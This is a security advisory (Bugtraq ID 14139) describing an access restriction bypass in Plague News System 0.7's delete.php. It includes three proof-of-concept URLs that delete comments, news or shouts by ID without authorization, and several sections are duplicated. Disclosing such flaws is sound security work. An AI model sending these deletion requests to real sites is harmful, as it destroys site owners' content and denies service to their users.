Plague News System Delete.PHP Access Restriction Bypass Vulnerability
BID:14139
Info
Plague News System Delete.PHP Access Restriction Bypass Vulnerability
| Bugtraq ID: | 14139 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 04 2005 12:00AM |
| Updated: | Jul 04 2005 12:00AM |
| Credit: | Discovery of this issue is credited to Easyex. |
| Vulnerable: |
FrozenPlague Plague News System 0.7 |
| Not Vulnerable: | |
Discussion
Plague News System Delete.PHP Access Restriction Bypass Vulnerability
Plague News System is prone to an access restriction bypass vulnerability. The issue exists due to a lack of sanity checks performed by 'delete.php' on deletion requests passed to the script.
A remote attacker may exploit this issue to delete site content and deny service for legitimate users.
Plague News System is prone to an access restriction bypass vulnerability. The issue exists due to a lack of sanity checks performed by 'delete.php' on deletion requests passed to the script.
A remote attacker may exploit this issue to delete site content and deny service for legitimate users.
Exploit / POC
Plague News System Delete.PHP Access Restriction Bypass Vulnerability
The following examples are available:
http://www.example.com/delete.php?comment=1&id=[ID of comment here]
http://www.example.com/delete.php?news=1&id=[ID of news here]
http://www.example.com/delete.php?shout=1&id=[ID of shout here]
The following examples are available:
http://www.example.com/delete.php?comment=1&id=[ID of comment here]
http://www.example.com/delete.php?news=1&id=[ID of news here]
http://www.example.com/delete.php?shout=1&id=[ID of shout here]
Solution / Fix
Plague News System Delete.PHP Access Restriction Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Plague News System Delete.PHP Access Restriction Bypass Vulnerability
References:
References:
- Plague News System Hompage (FrozenPlague)
- Plague News Vulnerabilities (Dark Assasins)